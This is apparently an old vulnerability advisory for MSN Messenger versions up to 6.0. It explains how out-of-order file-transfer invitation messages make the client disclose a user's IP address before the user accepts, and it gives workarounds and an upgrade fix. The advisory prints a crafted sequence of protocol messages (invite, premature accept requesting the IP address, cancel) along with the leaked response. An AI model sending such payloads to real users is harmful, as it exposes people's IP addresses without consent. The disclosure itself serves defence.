MSN Messenger bug Release Date: 20/11/03 Discovery date: Sometime around 2001 or 2000 Versions Affected: ------------------ Msn messenger 1.0 -> msn messenger 6.0.0602 Windows messenger all versions Not Affected: ------------ Msn Messenger 6.1, trillian, gaim Description: ----------- A bug exists in Microsofts msn messenger client. MSN messenger improperly parses the fields during file transfer invitation requests. Particularly the request ip field. This makes it possible to trick the msn client into giving *away* the users ip address without him/her accepting the file transfer first. The bug happens when a specially crafted MSG requests are issued to the switchboard server and then relayed onto the client. Upon receiving each request from the switchboard the client seems to incorrectly process the Ip-Address field without first waiting for userB to accept the file that is being attempted to be sent. It seems the reason for this bug is that the msn client seems to unsafelly depend on client of userB to send the sequences and fields in those sequences in the order in which is expected. A malicious user however could construct a program that sends them in the incorrect order and requests userB for the ip address before userB asks userA for its ip address and userBs client will falselly hand out the ip address. This circumvents the whole thing and allows us to invade the users privacy by handing out such sensitive info. Below are example of *expected* exchange of data (this however can be exploited) Example: >>> MSG 4 N 277 MIME-Version: 1.0 Content-Type: text/x-msmsgsinvite; charset=UTF-8 Application-Name: File Transfer Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683} Invitation-Command: INVITE Invitation-Cookie: 33267 Application-File: readme.txt Application-FileSize: 60904 <<< MSG example@passport.com Tim 179 MIME-Version: 1.0 Content-Type: text/x-msmsgsinvite; charset=UTF-8 Invitation-Command: ACCEPT Invitation-Cookie: 33267 Launch-Application: FALSE Request-Data: IP-Address: >>> MSG 4 N 238 MIME-Version: 1.0 Content-Type: text/x-msmsgsinvite; charset=UTF-8 Invitation-Command: ACCEPT Invitation-Cookie: 33267 IP-Address: 10.44.102.65 Port: 6891 AuthCookie: 93301 Launch-Application: FALSE Request-Data: IP-Address: However to exploit the bug we would send the below "MSG 1 N 275\r\n" "MIME-Version: 1.0\r\n" "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n" "\r\n" "Application-Name: File Transfer\r\n" "Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}\r\n" "Invitation-Command: INVITE\r\n" "Invitation-Cookie: 1\r\n" "Application-File: wanker.\xdd\xff\xcf\xee\xcd\x0a\x0fjpg\r\n" "Application-FileSize: 10\r\n" "MSG 2 N 191\r\n" "MIME-Version: 1.0\r\n" "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n" "\r\n" "Invitation-Command: ACCEPT\r\n" "Invitation-Cookie: 1\r\n" "AuthCookie: 10\r\n" "Launch-Application: FALSE\r\n" "Request-Data: IP-Address:\r\n" "MSG 3 N 143\r\n" "MIME-Version: 1.0\r\n" "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n" "\r\n" "Invitation-Command: CANCEL\r\n" "Invitation-Cookie: 1\r\n" "Cancel-Code: TIMEOUT\r\n" We should get a response of something like below Invitation-Command: ACCEPT Invitation-Cookie: 1 IP-Address: 81.131.24.31 Port: 6892 PortX: 11181 AuthCookie: 15784036 Launch-Application: FALSE Request-Data: IP-Address: Code will be made public sometime in the future to demonstrate the bug. Severity: ~~~~~~~~~ This bug has been activelly exploited in the wild. Due to the transition to the new msnp protocol however many of the variants that derived due to sniffing of the original now do not work but it is only a matter of time when a new version is made widelly available. Possible fix/workaround: ~~~~~~~~~~~~~~~~~~~~~~~ The problem may be fixed to some extend by using the messenger disallow list to block any uninvited users that are not on your allow list. This way you cannot be exploited unless you specifically trust the user and he is on your allow list. A mechanism must be included in the msn messenger client implementation that first checks that userB has accepted the file userA is trying to send before processing the Request-Data: Ip-Address: field. It seems pretty sad that MS cannot even get this right even if its later rather than sooner, especially when all third party clients seem to have such a mechanism in place thats worked effectivelly. I have tested this technique extensivelly with others such as trillian and these seem to be safe. Upgrade to msn messenger 6.1 Credit: Discovery: Brice aka THR Feedback Please send suggestions or comments to: hi_tech_assassin@hackermail.com